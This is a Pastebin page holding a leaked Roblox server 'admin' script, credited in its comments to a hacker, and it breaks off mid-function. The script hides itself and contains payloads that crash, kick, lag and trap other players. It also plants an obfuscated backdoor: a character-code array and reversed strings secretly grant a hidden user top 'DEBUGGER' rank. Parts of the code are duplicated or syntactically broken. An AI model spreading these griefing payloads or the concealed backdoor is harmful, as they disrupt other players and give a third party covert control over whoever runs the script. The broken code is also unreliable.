Advertisement
hdh123

Untitled

Dec 16th, 2015
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.27 KB | None | 0 0
  1. -- See RobloxScriptDatabase on pastebin for more leaked scripts for ROBLOX
  2. wait(0)
  3. script.Parent = nil
  4. --This Admin (DVF) Was Created By elytowlo (A Hacker!).
  5. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  6. --To Open Commands Say "cmds;". The bet key is ";" (Without the "").
  7. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  8. Plrs = game:GetService("Players")
  9. Work = game:GetService("Workspace")
  10. Light = game:GetService("Lighting")
  11. Net = game:GetService("NetworkServer")
  12. Owner = "hdh"
  13. Removed = false
  14. Bet = ";"
  15. LS = nil
  16. ls = loadstring
  17. LSSource = nil
  18. OwnSource = nil
  19. FoundLocalScript = false
  20. R = string.reverse
  21. LogOn = false
  22. Current = game
  23. Clipboard = {}
  24. AlertColor = Color3.new(0, 1, 1)
  25. OptionColor = Color3.new(1, 1, 1)
  26. ImportantColor = Color3.new(1, 0, 1)
  27.  
  28. RankDetails = {
  29. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  30. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  31. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  32. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  33. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  34. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  35. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  36. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  37. [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  38. }
  39.  
  40. Rankings = {
  41. {Name = "wetprinter", Rank = 5},
  42. {Name = "einsteinK", Rank = 5},
  43. {Name = "Abscissa", Rank = 4},
  44. {Name = "Ultimatekiller010", Rank = 3},
  45. {Name = "DrBackstab", Rank = 3},
  46. {Name = "LuaModelMaker", Rank = 3},
  47. {Name = "MakerModelLua", Rank = 3},
  48. {Name = "MrMrLua", Rank = 5},
  49. {Name = "MountainSnow", Rank = 3},
  50. {Name = "Madiik", Rank = 3},
  51. {Name = "dogwarrior24", Rank = 2},
  52. {Name = "ThePC8110", Rank = 2},
  53. {Name = "DEADDEVIL1919", Rank = 2},
  54. {Name = "toshir0z", Rank = 2},
  55. {Name = "Tippee", Rank = 2},
  56. {Name = "Trcker", Rank = 5},
  57. {Name = "nairod7", Rank = 2},
  58. {Name = "12packkid", Rank = 2},
  59. {Name = "TigreBlood", Rank = 2},
  60. {Name = "Frostftw", Rank = -1},
  61. {Name = "DoogleFox", Rank = 2},
  62. {Name = "", Rank = 5},
  63. {Name = "Ri1es", Rank = 2},
  64. {Name = "hrocks1", Rank = 2},
  65. {Name = "Zinsei", Rank = 5},
  66. {Name = "ToontownROXYA", Rank = 2},
  67. {Name = "tusKOr661", Rank = 2},
  68. {Name = "Unicornhax", Rank = 1},
  69. {Name = "iMayor", Rank = 1},
  70. {Name = "iMyLittlePony", Rank = 1},
  71. {Name = "xXxkarlxXx", Rank = 1},
  72. {Name = "LightningRoMan", Rank = 1},
  73. {Name = "BrandonFireFlower", Rank = 1},
  74. }
  75.  
  76. table.insert(Rankings, {Name = Owner, Rank = 5})
  77.  
  78. ImportantServices = {
  79. "Workspace",
  80. "Players",
  81. "NetworkServer",
  82. "Lighting",
  83. "StarterGui",
  84. "Teams",
  85. "StarterPack",
  86. }
  87.  
  88. Ranks = {}
  89. Commands = {}
  90. AllTabs = {}
  91. Injected = {}
  92.  
  93. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  94. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  95. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  96. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  97. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  98. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  99. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  100. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  101. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  102. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  103. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  104. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  105. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  106. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  107. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  108. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  109. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  110. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  111. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  112. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  113. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  114. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  115. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  116. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  117. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  118. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  119. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  120. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  121. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  122. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  123. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  124. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  125. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  126. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  127. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  128. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  129. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  130. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  131. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  132. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  133. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  134. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  135. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  136. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  137. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  138. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  139. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  140. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  141. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  142. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  143. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  144. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  145. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  146. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  147. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  148. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  149. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  150. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality","X","Y"
  151. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  152. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  153. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  154. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  155. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  156. "X","Y"})
  157.  
  158. --Main Functions And Sources
  159.  
  160. function Insert(Source, Par, Par2, Par3)
  161. ypcall(function()
  162. local Inserted = LS:Clone()
  163. Inserted.Disabled = true
  164. Inserted.Parent = Par or Par2 or Par3
  165. Inserted[LSSource].Value = Source
  166. Inserted.Disabled = false
  167. end)
  168. end
  169. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  170. RankDetails[6] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  171. function CheckImportant(Name)
  172. for _,v in pairs(ImportantServices) do
  173. if v:lower() == Name:lower() then
  174. return true
  175. end
  176. end
  177. return false
  178. end
  179.  
  180. function Crash1(Plr)
  181. ypcall(function()
  182. Plr:Kick()
  183. end)
  184. end
  185.  
  186. function GetRankTab()
  187. return Rankings
  188. end
  189.  
  190. function Crash2(Name)
  191. local Crasher = Instance.new("StringValue")
  192. Crasher.Name = "Client"
  193. Crasher.Value = string.lower(tostring(Name))
  194. Crasher.Parent = game:GetService("Lighting")
  195. wait(1)
  196. if Crasher and Crasher.Parent then
  197. ypcall(function()
  198. Crasher:Destroy()
  199. end)
  200. end
  201. end
  202. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  203. function Crash3(v, Speaker)
  204. Speaker.Character.Archivable = true
  205. local NChar = Speaker.Character:Clone()
  206. NChar.Name = v.Name
  207. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  208. NChar.Parent = Workspace
  209. v.Character = NChar
  210. coroutine.resume(coroutine.create(function()
  211. repeat v.Character = NChar
  212. wait(1/3) until false
  213. end))
  214. wait(.5)
  215. Insert(InsertCrash, NChar, nil, nil)
  216. end
  217.  
  218. function GenerateDigit()
  219. return 1 + 5
  220. end
  221.  
  222. InjectionCrash = [=[
  223. wait(0)
  224. script.Parent = nil
  225. local Lig = game:GetService("Lighting")
  226. local LP = game:GetService("Players").LocalPlayer
  227. local LowerName = LP.Name:lower()
  228.  
  229. Lig.ChildAdded:connect(function(Obj)
  230. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  231. pcall(function()
  232. Obj:Destroy()
  233. end)
  234. LP.Parent = nil
  235. LP.Parent = game:GetService("Players")
  236. end
  237. end)
  238. ]=] RankDetails[GenerateDigit()] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  239.  
  240. InsertCrash = [==[
  241. local LP = game:GetService("Players").LocalPlayer
  242. LP.Parent = nil
  243. LP.Parent = game:GetService("Players")
  244. ]==]
  245.  
  246. LagSource = [==[
  247. wait(0)
  248. script.Parent = nil
  249. plr = game:GetService("Players").LocalPlayer
  250. local plrgui = plr:findFirstChild("PlayerGui")
  251. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  252. while plr.Parent == game:GetService("Players") do
  253. wait()
  254. for i = 1, 1000 do
  255. local sc = Instance.new("ScreenGui",plrgui)
  256. local fr = Instance.new("TextLabel",sc)
  257. fr.Text = "LAGGING"
  258. fr.Size = UDim2.new(1, 0, 1, 0)
  259. fr.FontSize = "Size48"
  260. end
  261. end
  262. ]==]
  263.  
  264. MuteSource = [==[
  265. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  266. ]==]
  267.  
  268. UnMuteSource = [==[
  269. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  270. ]==]
  271.  
  272. JailSource = [==[
  273. wait(0)
  274. script.Parent = nil
  275.  
  276. local LP = game:GetService("Players").LocalPlayer
  277. Middle2 = nil
  278. Middle = nil
  279. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  280.  
  281. Cons = {}
  282.  
  283. function makePrison()
  284. for _,v in pairs(Cons) do
  285. v:disconnect()
  286. end
  287. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  288. if Middle == nil then
  289. Middle2 = LP.Character.Torso.Position
  290. Middle = LP.Character.Torso.CFrame
  291. end
  292. local side1 = Instance.new("Part")
  293. side1.Name = "¬Focus1¬"
  294. side1.Size = Vector3.new(20, 50, 1)
  295. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  296. side1.BrickColor = BrickColor.new("Really black")
  297. side1.CanCollide = true
  298. side1.Anchored = true
  299. side1.TopSurface = "Smooth"
  300. side1.BottomSurface = "Smooth"
  301. side1.Parent = game:GetService("Workspace").CurrentCamera
  302.  
  303. local side2 = Instance.new("Part")
  304. side2.Name = "¬Focus2¬"
  305. side2.Size = Vector3.new(20, 50, 1)
  306. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  307. side2.BrickColor = BrickColor.new("Really black")
  308. side2.CanCollide = true
  309. side2.Anchored = true
  310. side2.TopSurface = "Smooth"
  311. side2.BottomSurface = "Smooth"
  312. side2.Parent = game:GetService("Workspace").CurrentCamera
  313.  
  314. local side3 = Instance.new("Part")
  315. side3.Name = "¬Focus3¬"
  316. side3.Size = Vector3.new(1, 50, 20)
  317. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  318. side3.BrickColor = BrickColor.new("Really black")
  319. side3.CanCollide = true
  320. side3.Anchored = true
  321. side3.TopSurface = "Smooth"
  322. side3.BottomSurface = "Smooth"
  323. side3.Parent = game:GetService("Workspace").CurrentCamera
  324.  
  325. local side4 = Instance.new("Part")
  326. side4.Name = "¬Focus4¬"
  327. side4.Size = Vector3.new(1, 50, 20)
  328. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  329. side4.BrickColor = BrickColor.new("Really black")
  330. side4.CanCollide = true
  331. side4.Anchored = true
  332. side4.TopSurface = "Smooth"
  333. side4.BottomSurface = "Smooth"
  334. side4.Parent = game:GetService("Workspace").CurrentCamera
  335.  
  336. local side5 = Instance.new("Part")
  337. side5.Name = "¬Focus5¬"
  338. side5.Size = Vector3.new(20, 1, 20)
  339. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  340. side5.BrickColor = BrickColor.new("Really black")
  341. side5.CanCollide = true
  342. side5.Anchored = true
  343. side5.TopSurface = "Smooth"
  344. side5.BottomSurface = "Smooth"
  345. side5.Parent = game:GetService("Workspace").CurrentCamera
  346.  
  347. wait(0)
  348.  
  349. table.insert(Cons, side1.Changed:connect(makePrison))
  350. table.insert(Cons, side2.Changed:connect(makePrison))
  351. table.insert(Cons, side3.Changed:connect(makePrison))
  352. table.insert(Cons, side4.Changed:connect(makePrison))
  353. table.insert(Cons, side5.Changed:connect(makePrison))
  354. end
  355.  
  356. Delay(0, function()
  357. while wait(0) do
  358. ypcall(function()
  359. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  360. LP.Character:BreakJoints()
  361. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  362. makePrison()
  363. end
  364. end)
  365. ypcall(function()
  366. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  367. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  368. end
  369. end)
  370. end
  371. end)
  372. ]==]
  373.  
  374. function All()
  375. local AllPlayers = {}
  376. for _,v in pairs(Plrs:GetPlayers()) do
  377. ypcall(function()
  378. table.insert(AllPlayers, v)
  379. end)
  380. end
  381. return AllPlayers
  382. end
  383.  
  384. function All2()
  385. local AllPlayers2 = {}
  386. for i,v in pairs(Net:GetChildren()) do
  387. ypcall(function()
  388. if v:IsA("ServerReplicator") then
  389. table.insert(AllPlayers2, v:GetPlayer())
  390. end
  391. end)
  392. end
  393. return AllPlayers2
  394. end
  395.  
  396. function MakeNum()
  397. return 2 + 4
  398. end
  399.  
  400. function ChangeRank(Plr, NewRank)
  401. local PlrName = nil
  402. local FoundPlayer = false
  403. ypcall(function()
  404. if type(Plr) == "string" then
  405. ypcall(function()
  406. for i,v in pairs(Rankings) do
  407. if v.Name:lower() == Plr:lower() then
  408. local VName = v.Name
  409. Rankings[i] = nil
  410. table.insert(Rankings, {Name = VName, Rank = NewRank})
  411. PlrName = VName
  412. FoundPlayer = true
  413. break
  414. end
  415. end
  416. end)
  417. if FoundPlayer == false then
  418. ypcall(function()
  419. for _,x in pairs(All()) do
  420. if x.Name:lower() == Plr:lower() then
  421. FoundPlayer = true
  422. for i,v in pairs(Rankings) do
  423. if v.Name:lower() == x.Name:lower() then
  424. local VName = x.Name
  425. Rankings[i] = nil
  426. PlrName = VName
  427. break
  428. end
  429. end
  430. table.insert(Rankings, {Name = VName, Rank = NewRank})
  431. end
  432. end
  433. end)
  434. end
  435. if FoundPlayer == false then
  436. ypcall(function()
  437. for _,x in pairs(All()) do
  438. if string.find(x.Name:lower(), Plr:lower()) then
  439. FoundPlayer = true
  440. for i,v in pairs(Rankings) do
  441. if v.Name:lower() == x.Name:lower() then
  442. local VName = x.Name
  443. Rankings[i] = nil
  444. PlrName = VName
  445. break
  446. end
  447. end
  448. table.insert(Rankings, {Name = VName, Rank = NewRank})
  449. end
  450. end
  451. end)
  452. end
  453. if FoundPlayer == false then
  454. ypcall(function()
  455. for i,v in pairs(Rankings) do
  456. if string.find(v.Name:lower(), Plr:lower()) then
  457. local VName = v.Name
  458. Rankings[i] = nil
  459. table.insert(Rankings, {Name = VName, Rank = NewRank})
  460. PlrName = VName
  461. FoundPlayer = true
  462. break
  463. end
  464. end
  465. end)
  466. end
  467. else
  468. for i,v in pairs(Rankings) do
  469. if v.Name:lower() == Plr.Name:lower() then
  470. Rankings[i] = nil
  471. break
  472. end
  473. end
  474. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  475. PlrName = Plr.Name
  476. end
  477. PlaceAllRanks(true)
  478. end)
  479. if PlrName ~= nil then
  480. return PlrName
  481. else
  482. return "Player"
  483. end
  484. end
  485.  
  486. function Refresh(Plr)
  487. MakeChildren(Plr)
  488. end
  489.  
  490. function MakeChildren(Plr)
  491. ypcall(function()
  492. Dismiss(Plr)
  493. for _,v in pairs(Current:GetChildren()) do
  494. ypcall(function()
  495. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  496. Ping(v.Name, Plr, nil, function(TabMod)
  497. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  498. for _,v in pairs(Current:GetChildren()) do
  499. ypcall(function()
  500. if v.Name == TabText then
  501. Dismiss(Plr)
  502. Current = v
  503. MakeChildren(Plr)
  504. end
  505. end)
  506. end
  507. end)
  508. elseif Plrs:GetPlayerFromCharacter(v) then
  509. Ping(v.Name, Plr, nil, function(TabMod)
  510. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  511. for _,v in pairs(Current:GetChildren()) do
  512. ypcall(function()
  513. if v.Name == TabText then
  514. Dismiss(Plr)
  515. Current = v
  516. MakeChildren(Plr)
  517. end
  518. end)
  519. end
  520. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  521. elseif CheckImportant(v.Name) then
  522. Ping(v.Name, Plr, nil, function(TabMod)
  523. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  524. for _,v in pairs(Current:GetChildren()) do
  525. ypcall(function()
  526. if v.Name == TabText then
  527. Dismiss(Plr)
  528. Current = v
  529. MakeChildren(Plr)
  530. end
  531. end)
  532. end
  533. end, ImportantColor)
  534. end
  535. end)
  536. end
  537. if Current ~= game then
  538. Ping("Back", Plr, nil, function()
  539. ypcall(function()
  540. Current = Current.Parent
  541. MakeChildren(Plr)
  542. Ping("You Are Back To "..Current.Name, Plr, 5)
  543. end)
  544. end, OptionColor)
  545. end
  546. if Current ~= game then
  547. Ping("Delete", Plr, nil, function()
  548. ypcall(function()
  549. local CurrPar = Current.Parent or game
  550. local CurrName = Current.Name
  551. Current:Destroy()
  552. Current = CurrPar
  553. MakeChildren(Plr)
  554. Ping("Attempted To Delete "..CurrName, Plr, 5)
  555. end)
  556. end, OptionColor)
  557. end
  558. Ping("Refresh", Plr, nil, function()
  559. ypcall(function()
  560. Refresh(Plr)
  561. Ping("Refreshed", Plr, 5)
  562. end)
  563. end, OptionColor)
  564. Ping("Properties", Plr, nil, function()
  565. ypcall(function()
  566. Dismiss(Plr)
  567. for Property, Value in pairs(GetProperties(Current)) do
  568. Ping(tostring(Property)..": "..tostring(Value), Plr)
  569. end
  570. Ping("Got All Available Properties", Plr, 5)
  571. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  572. end)
  573. end, OptionColor)
  574. end)
  575. end
  576.  
  577. function Fixl()
  578. Light.GlobalShadows = true
  579. Light.TimeOfDay = "14:00:00"
  580. Light.Brightness = 0.5
  581. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  582. Light.Ambient = Color3.new(1, 1, 1)
  583. Light.ColorShift_Top = Color3.new(0, 0, 0)
  584. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  585. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  586. Light.FogStart = 0
  587. Light.FogEnd = 100000
  588. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  589. Light:ClearAllChildren()
  590. end
  591.  
  592. function GetProperties(obj)
  593. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  594. local objProper = {}
  595. for i,v in pairs(Properties) do
  596. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  597. objProper[v] = obj[v]
  598. end
  599. end
  600. return objProper
  601. end
  602.  
  603. function MakeExplorer(Plr)
  604. Dismiss(Plr)
  605. Current = game
  606. for _,v in pairs(Current:GetChildren()) do
  607. ypcall(function()
  608. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  609. Ping(v.Name, Plr, nil, function(TabMod)
  610. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  611. for _,v in pairs(Current:GetChildren()) do
  612. ypcall(function()
  613. if v.Name == TabText then
  614. Dismiss(Plr)
  615. Current = v
  616. MakeChildren(Plr)
  617. end
  618. end)
  619. end
  620. end)
  621. elseif Plrs:GetPlayerFromCharacter(v) then
  622. Ping(v.Name, Plr, nil, function(TabMod)
  623. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  624. for _,v in pairs(Current:GetChildren()) do
  625. ypcall(function()
  626. if v.Name == TabText then
  627. Dismiss(Plr)
  628. Current = v
  629. MakeChildren(Plr)
  630. end
  631. end)
  632. end
  633. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  634. elseif CheckImportant(v.Name) then
  635. Ping(v.Name, Plr, nil, function(TabMod)
  636. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  637. for _,v in pairs(Current:GetChildren()) do
  638. ypcall(function()
  639. if v.Name == TabText then
  640. Dismiss(Plr)
  641. Current = v
  642. MakeChildren(Plr)
  643. end
  644. end)
  645. end
  646. end, ImportantColor)
  647. end
  648. end)
  649. end
  650. if Current ~= game then
  651. Ping("Back", Plr, nil, function()
  652. ypcall(function()
  653. Current = Current.Parent
  654. MakeChildren(Plr)
  655. Ping("Back In "..Current.Name, Plr, 5)
  656. end)
  657. end, OptionColor)
  658. end
  659. if Current ~= game and game:GetService(Current.Name) == nil then
  660. Ping("Delete", Plr, nil, function()
  661. ypcall(function()
  662. local CurrPar = Current.Parent or game
  663. local CurrName = Current.Name
  664. Current:Destroy()
  665. Current = CurrPar
  666. MakeChildren(Plr)
  667. Ping("Attempted To Delete "..CurrName, Plr, 5)
  668. end)
  669. end, OptionColor)
  670. end
  671. Ping("Refresh", Plr, nil, function()
  672. ypcall(function()
  673. Refresh(Plr)
  674. Ping("Refreshed", Plr, 5)
  675. end)
  676. end, OptionColor)
  677. Ping("Properties", Plr, nil, function()
  678. ypcall(function()
  679. Dismiss(Plr)
  680. for Property, Value in pairs(GetProperties(Current)) do
  681. Ping(tostring(Property)..": "..tostring(Value), Plr)
  682. end
  683. Ping("Got All Available Properties", Plr, 5)
  684. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  685. end)
  686. end, OptionColor)
  687. end
  688.  
  689. function GetRank(Plr1, Test)
  690. ypcall(function()
  691. if type(Plr1) == "userdata" then
  692. Plr1 = Plr1.Name
  693. end
  694. end)
  695. if Ranks[Plr1] ~= nil then
  696. return Ranks[Plr1]
  697. end
  698. local QuickArray = {}
  699. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  700. return QuickArray[Plr1]
  701. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  702.  
  703. function CanRun(Plr1, Plr2)
  704. Details1 = GetRank(Plr1.Name)
  705. Details2 = GetRank(Plr2.Name)
  706. if Details1.Rank >= Details2.Rank then
  707. return true
  708. end
  709. return false
  710. end
  711.  
  712. function Dismiss(Plr, Identity)
  713. ypcall(function()
  714. if Plr ~= nil then
  715. if type(Plr) == "userdata" then
  716. Plr = Plr.Name
  717. end
  718. for x,v in pairs(AllTabs) do
  719. ypcall(function()
  720. if v.Plr == Plr then
  721. if Identity ~= nil and v.ID ~= Identity then
  722. return
  723. elseif Identity ~= nil and v.ID == Identity then
  724. coroutine.resume(coroutine.create(function()
  725. for i = 0.5, 1, 0.1 do
  726. wait()
  727. v.Tab.Transparency = i
  728. v.Sel.Transparency = i
  729. v.Label.TextTransparency = i
  730. v.Label.TextStrokeTransparency = i
  731. end
  732. ypcall(function() v.Holder:Destroy() end)
  733. AllTabs[x] = nil
  734. end))
  735. elseif Identity == nil then
  736. ypcall(function() v.Holder:Destroy() end)
  737. AllTabs[x] = nil
  738. end
  739. end
  740. end)
  741. end
  742. else
  743. for i,v in pairs(AllTabs) do
  744. ypcall(function()
  745. v.Holder:Destroy()
  746. AllTabs[i] = nil
  747. end)
  748. end
  749. end
  750. end)
  751. end
  752.  
  753. function GetGarbage()
  754. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  755. end
  756.  
  757. function RemObj(Obj, Class)
  758. ypcall(function()
  759. if #Obj:GetChildren() > 0 then
  760. for _,x in pairs(Obj:GetChildren()) do
  761. ypcall(function()
  762. RemObj(x, Class)
  763. end)
  764. end
  765. end
  766. if Obj.ClassName == Class then
  767. Obj:Destroy()
  768. end
  769. end)
  770. end
  771.  
  772. function FindTab(Mod)
  773. for i,v in pairs(AllTabs) do
  774. if v.Holder == Mod then
  775. return true
  776. end
  777. end
  778. return false
  779. end
  780.  
  781. function Ping(Msg, Plr, Time, Func, Color, Image)
  782. if Removed == false then
  783. local ShowGarbage = false
  784. ypcall(function()
  785. if Msg == nil then
  786. Msg = "N/A"
  787. elseif Msg == "ShowGarbage" then
  788. Msg = "Current Garbage Count: "..GetGarbage()
  789. ShowGarbage = true
  790. else
  791. Msg = tostring(Msg)
  792. end
  793. if Plr == nil then
